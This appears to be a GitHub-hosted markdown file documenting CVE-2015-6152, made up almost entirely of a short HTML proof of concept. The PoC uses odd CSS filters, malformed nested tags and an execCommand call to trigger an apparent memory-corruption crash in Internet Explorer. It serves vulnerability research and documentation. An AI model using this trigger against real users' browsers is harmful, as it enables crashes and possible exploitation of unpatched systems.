Skip to content

Latest commit

 

History

History
23 lines (19 loc) · 501 Bytes

CVE-2015-6152.md

File metadata and controls

23 lines (19 loc) · 501 Bytes
Raw

CVE-2015-6152

PoC

<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<style>
    small{ -ms-block-progression: lr; -ms-filter: "vv"; }
</style>
<script>
    function trigger() { document.execCommand("JustifyLeft"); }
</script>
<nolayer>blue<small>frost</small>
<applet><tt>security</applet>
<script>trigger();</script>
</html>

Reference